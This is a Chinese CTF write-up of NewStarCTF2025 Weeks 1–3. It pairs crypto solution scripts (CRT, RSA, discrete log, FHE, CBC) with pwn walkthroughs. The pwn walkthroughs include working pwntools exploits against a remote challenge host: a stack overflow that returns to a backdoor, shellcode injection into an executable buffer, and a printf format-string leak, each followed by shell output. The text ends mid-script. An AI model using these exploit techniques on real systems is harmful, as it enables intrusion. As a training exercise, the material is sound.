NewStarCTF2025
[Week1]
Crypto
[Cry]唯一表示
中国剩余定理重建
from sympy.ntheory.modular import crt
from Crypto.Util.number import *
from sympy import primerange
message_int_list = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]
primes = list(primerange(2, 114514))[:len(message_int_list)]
reconstructed, _ = crt(primes, message_int_list)
print(long_to_bytes(reconstructed))
# b'flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}'[Cry]小跳蛙
写个简单的脚本,手动提交数据
def jump_frog(a, b):
while a != b:
if a > b:
a = a - b
else:
b = b - a
return a, b
while True:
a = int(input("a = "))
b = int(input("b = "))
x, y = jump_frog(a, b)
print(f"({a}, {b}) -> ({x}, {y})")
# flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}[Cry]随机数之旅1
a∗hi+m=hi+1modp
显然有:m=hi+1−a∗himodp
from Crypto.Util.number import long_to_bytes
a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
hint = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244]
m = (hint[2] - a*hint[1]) % p
print(long_to_bytes(m))
# b'flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}'[Cry]初识rsa
md5查表或者爆破
欧拉函数:
n=p1k1∗p2k2∗...∗pnkn
ϕ(n)=p1k1−1∗(p1−1)∗p2k2−1∗(p2−1)∗...∗pnkn−1∗(pn−1)
from Crypto.Util.number import *
from gmpy2 import iroot
import hashlib
KEY = b'5ae9b7f211e23aac3df5f2b8f3b8eada'
key = b'crypto' # 查表
P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845
e=65537
p = P^(bytes_to_long(key))
q = iroot(n // (p**3), 2)[0]
print(f'p={p}\nq={q}\np**3 * q**2={p**3 * q**2}')
assert hashlib.md5(key).hexdigest().encode()==KEY
assert p**3 * q**2 == n
phi = p**2*(p-1)*q*(q-1)
print(long_to_bytes(pow(c, inverse(e, phi), n)))
# b'flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}'[Cry]Sagemath使用指哪?
运行有:flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}
Pwn
[PWN]GNU Debugger
task1:找到R12寄存器的值:
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────
RAX 0x6a3a479b23acfe8d
RBX 0x6a3a479b00000000
RCX 0x7ffff7e0302c (randtbl+12) ◂— 0xd4748f376371de8b
RDX 0
RDI 0x7ffff7e036a0 (unsafe_state) —▸ 0x7ffff7e03038 (randtbl+24) ◂— 0x960084581c054419
RSI 0x7fffffffd5c4 ◂— 0x89c65c0023acfe8d
R8 0x7ffff7e03038 (randtbl+24) ◂— 0x960084581c054419
R9 0x7ffff7e030a0 (pa_next_type) ◂— 8
R10 0xfdb0d5bc
R11 0x202
R12 0x6a3a479b23acfe8d
R13 0
R14 0x555555559d00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555400 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffd620 —▸ 0x7fffffffd760 —▸ 0x7fffffffd800 —▸ 0x7fffffffd860 ◂— 0
RSP 0x7fffffffd5f0 ◂— 3
RIP 0x555555555530 (stage_0_register_check+143) ◂— mov qword ptr [rbp - 0x28], 0为:0x6a3a479b23acfe8d
task2:找到地址为0x5555555557c27位置内存中的值
pwndbg> x/s 0x555555557c27
0x555555557c27: "GDB_IS_POWERFUL"task3:给函数下断点
pwndbg> b *0x555555555779
Breakpoint 1 at 0x555555555779task4:修改0x7fffffffd614中的值为0xdeadbeef:
pwndbg> set {int}0x7fffffffd614 = 0xdeadbeef
pwndbg> c
Continuing.
向导离开了队伍。.
[*] Initializing security protocols...
[+] 世界上即将增加一个PWN高手了捏
[+] FLAG : flag{ff94a69c-290f-43c3-9be3-f8c9470b1d30}[PWN]pwn's door
IDA打开反编译有:
if ( v4 == 7038329 )
{
puts("You have successfully opened the door!");
puts("please try the command 'cat flag' to get the flag.");
system("/bin/sh");
}nc连接输入密码7038329
You have successfully seen the door with the help of cat or python!
And you find that you need a key to open the door.
Take a try
1 2 3
4 5 6
7 8 9
0
password: 7038329
You have successfully opened the door!
please try the command 'cat flag' to get the flag.
cat flag
flag{52fc3ccc-b6c1-4de1-8fb9-fda46c5f891d}[PWN]INTbug
int16类型整数的范围为:- 32768 到 32767,每次输入会自增1,连续输入32768即可溢出到负数
from pwn import *
context.log_level = 'debug'
# import os
# DIR = os.path.dirname(os.path.abspath(__file__))
# io = process(os.path.join(DIR, 'INTbug'))
io = remote('47.94.87.199', 20605)
for _ in range(32768):
io.sendline(b'1')
io.interactive()welcome to NewStarCTF2025!
[DEBUG] Received 0xc bytes:
b'You got it!\n'
You got it!
[DEBUG] Received 0x2c bytes:
b'\n'
b'flag{0c42e47e-14d9-4f49-b1b1-a44a1f9b76ef}\n'[PWN]overflow
使用了get来读取输入,buffer缓冲区只有256,加上8字节的rbp,之后为函数返回地址,将其修改为后门程序
先使用ROPgadget --binary ./overflow | grep "ret"找到一个ret函数的地址用于栈对齐
from pwn import *
context.log_level = 'debug'
io = remote('47.94.87.199', 36990)
# buffer(256字节) + rbp(8字节)
offset = 264
backdoor_addr = 0x401200
ret_gadget = 0x401016
payload = b'A' * offset # 填充缓冲区和rbp
payload += p64(ret_gadget) # 填充返回地址为ret gadget
payload += p64(backdoor_addr) # 覆盖返回地址为后门函数地址
io.sendline(payload)
io.interactive()[+] Opening connection to 47.94.87.199 on port 36990: Done
[*] Switching to interactive mode
----Welcome to EZoverflow!----
There is a glitch in this program that allows you to overflow the buffer.
Let me show you a sample of how it works:
This is the address of the backdoor function: 0x401234
Then fill the buffer with the trash and fill the return address with the address of the unexcuted function.
This is a function that is not supposed to be executed.
Now,Try to exploit it as I done and get the shell!
Enter your input:
Congratulations! You have found the backdoor!
You can now execute any command you want.
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{27d2956f-7d40-48c0-bca5-6510be45cfef}[PWN]input_function
mmap函数分配了具有可读、可写、可执行权限(参数7对应PROT_READ|PROT_WRITE|PROT_EXEC)的内存区域给buf,给buf输入shellcode可以被执行
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote('47.94.87.199', 30846)
shellcode = asm(shellcraft.sh())
io.sendlineafter(b"please input a function(after compile)\n", shellcode)
io.interactive()[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
pwn
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ cat flag
flag{adf49eb6-bc83-4341-aabe-1464fc7bded8}[Week2]
Crypto
[Cry]置换
根据题目有如下信息:
置换规则:
F=(1234567)(891011121314)∘(1357)(246)(8101214)
置换的信息结果:SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU.
反向置换回去:
# 密文
encrypted_text = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU."
# 置换规则
cycle1 = [(1, 2, 3, 4, 5, 6, 7), (8, 9, 10, 11, 12, 13, 14)]
cycle2 = [(1, 3, 5, 7), (2, 4, 6), (8, 10, 12, 14)]
def create_inverse_mapping(cycles):
"""创建置换的逆映射字典"""
inverse_map = {}
for cycle in cycles:
cycle_length = len(cycle)
for idx, num in enumerate(cycle):
inverse_map[num] = cycle[(idx - 1) % cycle_length]
return inverse_map
inverse_map1 = create_inverse_mapping(cycle1)
inverse_map2 = create_inverse_mapping(cycle2)
print("逆置换映射1:", inverse_map1)
print("逆置换映射2:", inverse_map2)
# 解密过程
decrypted_chars = []
for char in encrypted_text:
if char.isalpha():
num = ord(char) - ord('A') + 1
num = inverse_map1.get(num, num)
num = inverse_map2.get(num, num)
decrypted_char = chr(num - 1 + ord('A'))
decrypted_chars.append(decrypted_char)
else:
decrypted_chars.append(char)
decrypted_text = ''.join(decrypted_chars)
print("\n解密结果:", decrypted_text)
# SUCH_A_SIMPLE_PERMUTATION_WILL_DEFINITELY_NOT_STUMP_YOU.[Cry]FHE: 0 and 1
public_keys中pk = p∗number+salt
这里的salt为1~10之间的一个整数,选取pk,遍历并GCD求出p
def find_p(public_keys):
# 取前3个公钥来计算
pk0, pk1, pk2 = public_keys[:3]
# 尝试所有可能的偏移量组合(1-10)
for r0 in range(1, 11):
v0 = pk0 - r0
if v0 <= 0:
continue
for r1 in range(1, 11):
v1 = pk1 - r1
if v1 <= 0:
continue
g = math.gcd(v0, v1)
if g < 2:
continue
for r2 in range(1, 11):
v2 = pk2 - r2
if v2 <= 0:
continue
current_gcd = math.gcd(g, v2)
# p是128位素数,值会很大
if current_gcd > 10**30:
return current_gcd
return None
p = find_p(public_keys)
print(f"找到p: {p}")
# 找到p: 232705849988154546719847649732849410619找到p后,观察下一部分:
small_noise = 2 * random.randint(1, p // 2**64)
large_noise = p * random.randint(p // 4, p // 2)
c_i = int(bit) + small_noise + large_noise发现,small_noise一定为偶数且比p小,而large_noise为p的倍数,故在mod p的情况下显然会有ci和bit同奇偶。
# 解密每个二进制位
bits = []
for c in ciphertext:
remainder = c % p
# 奇数对应1,偶数对应0
bit = '1' if remainder % 2 == 1 else '0'
bits.append(bit)
# 转换二进制字符串为flag
binary_str = ''.join(bits)
flag = ""
# 每8位转换为一个字符
for i in range(0, len(binary_str), 8):
byte = binary_str[i:i+8]
if len(byte) < 8:
break
flag += chr(int(byte, 2))
print(f"解密得到flag: {flag}")
# 解密得到flag: flag{3235c1ab-6830-480f-b5e0-39be40b94a7d}[Cry]群论小测试
需要识别题目中所示的多个群的名称
[豆包分析特征如下:]
| 群类型 | 具体群(符号) | 阶数(元素个数) | 核心结构与运算性质 | 凯莱表关键识别特征 |
|---|---|---|---|---|
| 循环群 | C₂(Z₂) | 2 | 素数阶阿贝尔群,仅含单位元和 1 个 2 阶元素,由 2 阶元素生成(运算如模 2 加法) | 2×2 表格,主对角线对称;非单位元与自身运算结果为单位元(如 1×1=0) |
| C₃(Z₃) | 3 | 素数阶阿贝尔群,仅含单位元和 2 个 3 阶元素,由 3 阶元素生成(运算如模 3 加法) | 3×3 表格,主对角线对称;非单位元需运算 3 次才回到单位元(如 1×1×1=0) | |
| C₄(Z₄) | 4 | 阿贝尔群,含 1 个 4 阶生成元、1 个 2 阶元素(生成元平方),运算如模 4 加法 | 4×4 表格,主对角线对称;存在 1 个元素满足 “a×a×a×a = 单位元”(如 1×1×1×1=0) | |
| C₅C₁₀(Z₅Z₁₀) | 5~10 | 阿贝尔群,均由单个 n 阶元素生成,元素阶为 n 的因数(如 C₆含 6 阶、3 阶、2 阶元素) | n×n 表格,主对角线对称;存在 1 个元素,其幂可生成所有元素 | |
| 克莱因四元群 | V₄(K₄) | 4 | 非循环阿贝尔群,含单位元和 3 个 2 阶元素(任意两非单位元运算得第三个),同构于 C₂×C₂ | 4×4 表格,主对角线对称;所有非单位元满足 “a×a = 单位元”,且 a×b=c(a、b、c 为非单位元) |
| 对称群 | S₃ | 6 | 非阿贝尔群,含 3 个 2 阶元素(对换)、2 个 3 阶元素(3 - 循环),同构于 D₃(正三角形对称群) | 6×6 表格,非对称;存在元素对不满足交换律(如 a×b≠b×a),含 2 阶和 3 阶元素 |
| S₅ | 120 | 非阿贝尔群,含大量奇 / 偶置换,阶数超代码 MAX_ORDER=10,游戏中不出现 | 120×120 表格,非对称;元素阶多样(如 2、3、4、5 阶) | |
| 二面体群 | D₄ | 8 | 非阿贝尔群,含 4 个旋转(1 个 4 阶、1 个 2 阶)、4 个反射(均 2 阶),对应正四边形对称 | 8×8 表格,非对称;含 5 个 2 阶元素、2 个 4 阶元素,存在旋转与反射的非交换对 |
| D₅ | 10 | 非阿贝尔群,含 5 个旋转(1 个 5 阶、3 个 5 阶、1 个 1 阶)、5 个反射(均 2 阶),对应正五边形对称 | 10×10 表格,非对称;含 6 个 2 阶元素、4 个 5 阶元素,无 4 阶元素 | |
| D₆ | 12 | 非阿贝尔群,含 6 个旋转(1 个 6 阶、1 个 3 阶、1 个 2 阶)、6 个反射(均 2 阶),阶数超 MAX_ORDER | 12×12 表格,非对称;含 7 个 2 阶元素、2 个 3 阶元素、2 个 6 阶元素 | |
| 四元数群 | Q₈ | 8 | 非阿贝尔群,含 1 个 2 阶元素(-1)、6 个 4 阶元素(i、-i、j、-j、k、-k),无反射操作 | 8×8 表格,非对称;仅 1 个 2 阶元素,其余 6 个均为 4 阶元素,无 “旋转 - 反射” 结构 |
| 交错群 | A₄ | 12 | 非阿贝尔群,含 8 个 3 阶元素(3 - 循环)、3 个 2 阶元素(双重对换),阶数超 MAX_ORDER | 12×12 表格,非对称;无 6 阶元素,含大量 3 阶元素 |
| A₅ | 60 | 非阿贝尔群(单群),含多种阶元素(2、3、5 阶),阶数超 MAX_ORDER,游戏中不出现 | 60×60 表格,非对称;元素阶多样,无正规子群 |
Welcome to the Cayley Table Group-ID Quiz!
Identify 5 groups correctly to get the flag.
Round 1: The table below is a group of order n=5.
Elements are anonymized as 0..n-1. Multiplication is row * column.
0 1 2 3 4
--------------------
0 1 2 4 0 3
1 2 4 3 1 0
2 4 3 0 2 1
3 0 1 2 3 4
4 3 0 1 4 2
Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): C5
✅ Correct! Progress: 1/5
Round 2: The table below is a group of order n=10.
Elements are anonymized as 0..n-1. Multiplication is row * column.
0 1 2 3 4 5 6 7 8 9
----------------------------------------
0 7 8 5 6 9 2 3 0 1 4
1 2 6 9 8 5 7 4 1 0 3
2 1 0 7 4 3 9 8 2 6 5
3 4 9 6 7 0 8 2 3 5 1
4 3 5 8 2 1 6 7 4 9 0
5 8 7 0 9 6 4 1 5 3 2
6 9 4 3 0 7 1 5 6 2 8
7 0 1 2 3 4 5 6 7 8 9
8 5 3 4 1 2 0 9 8 7 6
9 6 2 1 5 8 3 0 9 4 7
Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): D5
✅ Correct! Progress: 2/5
Round 3: The table below is a group of order n=6.
Elements are anonymized as 0..n-1. Multiplication is row * column.
0 1 2 3 4 5
------------------------
0 1 0 5 4 3 2
1 0 1 2 3 4 5
2 4 2 1 5 0 3
3 5 3 4 1 2 0
4 2 4 3 0 5 1
5 3 5 0 2 1 4
Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): S3
✅ Correct! Progress: 3/5
Round 4: The table below is a group of order n=6.
Elements are anonymized as 0..n-1. Multiplication is row * column.
0 1 2 3 4 5
------------------------
0 0 1 2 3 4 5
1 1 0 5 4 3 2
2 2 3 4 5 0 1
3 3 2 1 0 5 4
4 4 5 0 1 2 3
5 5 4 3 2 1 0
Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): S3
✅ Correct! Progress: 4/5
Round 5: The table below is a group of order n=10.
Elements are anonymized as 0..n-1. Multiplication is row * column.
0 1 2 3 4 5 6 7 8 9
----------------------------------------
0 3 5 4 6 9 0 8 1 2 7
1 5 7 8 0 2 1 3 9 6 4
2 4 8 5 9 0 2 7 6 1 3
3 6 0 9 8 7 3 2 5 4 1
4 9 2 0 7 3 4 1 8 5 6
5 0 1 2 3 4 5 6 7 8 9
6 8 3 7 2 1 6 4 0 9 5
7 1 9 6 5 8 7 0 4 3 2
8 2 6 1 4 5 8 9 3 7 0
9 7 4 3 1 6 9 5 2 0 8
Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): C10
✅ Correct! Progress: 5/5
🎉 Congrats! Here is your flag: flag{I_v3_b3c0m3_@n_e^3Rt_in_gr0up_7h30ry_@Ft3r_5o1ving_7hi5_+++bl3m!!!}[Cry]DLP_1
较为简单的离散对数问题,使用小步大步算法求解
from Crypto.Util.number import long_to_bytes
p = [189869646048037, 255751809593851, 216690843046819]
g = [5, 3, 3]
h = [78860859934701, 89478248978180, 81479747246082]
def BSGS(g, y, p):
m = int((p-1)**0.5 + 0.5)
table = {}
gr = 1
for r in range(m):
table[gr] = r
gr = (gr * g) % p
gm = pow(g, -m, p)
ygqm = y
for q in range(m):
if ygqm in table:
return q * m + table[ygqm]
ygqm = (ygqm * gm) % p
return None
parts = []
for i in range(3):
x = BSGS(g[i], h[i], p[i])
part_bytes = long_to_bytes(x)
parts.append(part_bytes)
print(f"第{i+1}部分: {part_bytes}")
full_flag = b'flag{' + b''.join(parts) + b'}'
print(f"完整flag: {full_flag}")
"""
第1部分: b'I_l0v3'
第2部分: b'_DLPPP'
第3部分: b'PP^.^!'
完整flag: b'flag{I_l0v3_DLPPPPP^.^!}'
"""[Cry]RSA_revenge
part1通过试除得到素因子,按照欧拉函数的定义求解
part2根据提示的"费马",有(n=p∗q∗r):
hint2=mrmodn=m(r−1)+1modr=mmodr
hint2n=mp∗q∗rmodr=mp∗qmodr
又有:hint1=mp∗qmodn
则:hint2n−hint1=k2∗r−k1∗p∗q∗r=r∗(k2−k1∗p∗q)
此时GCD(hint2n−hint1,n)=r,随后正常求解
list = [8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239, 7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229, 12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317]
n1=1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463
c1=1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949
e = 65537
n2=1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199
hint1=495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372
hint2=30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076
hint3=20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840
c2=548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968
from Crypto.Util.number import *
# slove part1
n = n1
phin = 1
for k in list:
tmp = 0
while n % k == 0:
n //= k
tmp += 1
phin *= k**(tmp-1)*(k-1)
part1 = long_to_bytes(pow(c1, inverse(e, phin), n1))
# slove part2
r = GCD(pow(hint2,n2,n2)-hint1,n2)
pq = n2//r
phi = (r-1)*(pq+1-hint3)
part2 = long_to_bytes(pow(c2, inverse(e, phi), n2))
print(part1+part2)
# b'flag{Ooooo6_y0u_kn0w_F3rm@t_and_Eu13r_v3ry_w3ll!!}'Pwn
[PWN]刻在栈里的秘密
printf的格式化字符串漏洞,根据提示
0x7ffdf0ff1520: [?] <-- 密码在这里捏
0x7ffdf0ff1518: [?]
0x7ffdf0ff1510: [?]
0x7ffdf0ff1508: [?]
0x7ffdf0ff1500: [?]
0x7ffdf0ff14f8: [?]
0x7ffdf0ff14f0: [?]
0x7ffdf0ff14e8: [?]
0x7ffdf0ff14e0: [?]
0x7ffdf0ff14d8: [?]
0x7ffdf0ff14d0: [?]
0x7ffdf0ff14c8: [?]
0x7ffdf0ff14c0: [?]
0x7ffdf0ff14b8: [?]
0x7ffdf0ff14b0: [?]
0x7ffdf0ff14a8: [?]
0x7ffdf0ff14a0: [?]
0x7ffdf0ff1498: [?]
0x7ffdf0ff1490: [?] <-- 栈顶在这里捏
R9: [?]
R8: [?]
RCX: [?]
RDX: [?]
RSI: [?]
RDI: [格式化字符串]地址差值:0x7ffdf0ff1520 - 0x7ffdf0ff1490 = 0x90,每个栈元素大小为 8 字节,所以栈上的位置偏移为:0x90 / 8 = 18,在 x64 架构中,前 6 个参数通过寄存器传递,因此格式化字符串中需要使用的偏移是:18 + 6 = 24,使用%24$p得到指针,%24$s得到指针对应的密码
看起来就像 printf(your_input), 实际上这样是很危险的, 好孩子不要模仿^^. 来吧让我看看你的输入
%24$p
printf第 1 次启动!
0x7ffd5218fe00
再来一次 !
%24$s
printf第 2 次启动!
OHQIZDCUIXKYKLU
现在来验证一下密码吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:
OHQIZDCUIXKYKLU
现在来验证一下密码的指针吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:
给我输入一个类似 0x114514 的 16 进制数!
0x7ffd5218fe00
好棒 ̋(๑˃́ꇴ˂̀๑) 给你flag
flag{85309f87-0e2b-4b9a-843a-d1eaa21f0889}[Week3]
Crypto
[Cry]欧皇的生日
x1=x2ax12+bx1+c=ax22+bx2+c=>x1+x2=−b/a
只需要得到a,b,c的值,随便构造就能得出,恰好能够任意输入,可以得到:
Hash(0)=cHash(1)=a+b+cHash(2)=4a+2b+c
from Crypto.Util.number import inverse
m = 2**22
h0,h1,h2 =785236,685858,262486
# h0 = c
# h1 = a + b + c
# h2 = 4a + 2b + c
c = h0
a = ((h2 - h0 - 2*(h1 - h0)) % m ) // 2
b = (h1 - h0 - a) % m
t = -b * inverse(a,m) % m
print(f'{t} 0')
# 1721095 0
# flag{-----you---are----so++++lucky+++++}[Cry]GCL
原生成式sn+1=asn−1+bmodp可以转化为a+bsn=snsn+1modp,转化后的式子可以通过groebner_basis()求出p,随后解方程得到a和b,利用最后一个gift求出key,进而求出flag
"""SageMath version 10.7"""
from Crypto.Util.number import *
c = 18160008429568445340421193226402615775962630020115351294214303830750860843808409781742323237344243089
gift = [
131865585354798388503853664204045577497186238155562615801484830104683890877181087005834317031942408283,
109059933499981578098773732552241207995570220834770592696583461488231579239704140357451421969855041379,
98201806091494704187082836852065059816140437191793644297243874711016194459625411781009291718075199135,
18757271931319533257322147585629190099147626954402651433709338855513752753972712032016018862573500407,
44414575833831572247180084691462875843855281105693674992974405001127527490917389843309074213475473796,
119230797767846495009095216222595719657467391997837145037599770904490776264420156248960485317227292047,
55025298938239176714746988606097305944000798467396224542466354530737718336537150422546120714654987068,
61108071970379547679922902146574052023820080507110885404335008795305785800023228103358713867748030391, 73121196162106845765032066055951000614569505693120119413603886103757507878101072263238094066564654117, 41442768650713930642944746020790921582963259300977583069055974755273373804142970727737438848232141888
]
P.<a,b> = PolynomialRing(ZZ)
f1 = a + b*gift[0] - gift[0]*gift[1]
f2 = a + b*gift[1] - gift[1]*gift[2]
f3 = a + b*gift[2] - gift[2]*gift[3]
f4 = a + b*gift[3] - gift[3]*gift[4]
F = [f1, f2, f3, f4]
I = Ideal(F).groebner_basis()
p = int(I[-1])
Gp = GF(p)
m = [[1, gift[i]] for i in range(4)]
A = Matrix(Gp, m)
b = [gift[i]*gift[i+1] for i in range(4) ]
b = vector(Gp, b)
x = A.solve_right(b)
a,b = int(x[0]), int(x[1])
key = (a*inverse(gift[-1], p)+b )% p
m = c^^key
print(long_to_bytes(m))
# flag{2eac1c79-8abd-465e-82f4-96beffed69e4}[Cry]随机数之旅3
题目是一个矩阵的乘法,直接利用矩阵解出来的解码不正确,发现解空间维数为1,考虑多解,利用特解加上不同倍数的基向量,验证第一位是否满足
p = 5323
A_rows = [(...),(...),...]
b_values = [...]
Zp = Zmod(p)
A = matrix(Zp, A_rows)
b = vector(Zp, b_values)
solutions = A.solve_right(b)
basis = A.right_kernel().basis()
k = 1
while True:
tmp = solutions + k*basis[0]
if chr(int(tmp[0])) == 'f':
print(''.join([chr(int(c)) for c in tmp]))
break
k += 1
# flag{1f59622f-ccbc-45c0-b9f5-731a51343027}[Cry]CBC之舞
CBC模式下,明文与上一密文或者IV异或后进行key加密。
两次加解密key相同,IV不同,明密文的块顺序不同,中间的key加密关系相同。找出块的对应关系,先通过异或得到没有异或的明文,再按照IV2进行正确顺序的异或得到flag。

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
IV1 = bytes.fromhex("1e5d251ea78ef68a1282079fd028c747")
IV2 = bytes.fromhex("18777ae4c1a29f4c5db8ba6c5dfe72f1")
m1 = bytes.fromhex("f560fd28ed5c5ce7d952eb44b47007e702f42dbb54540dfc78467f48933dbb01ebcf520fd3d23a211d3b4e8c06261966cb178525c25b8058ff792e0f251d3d15")
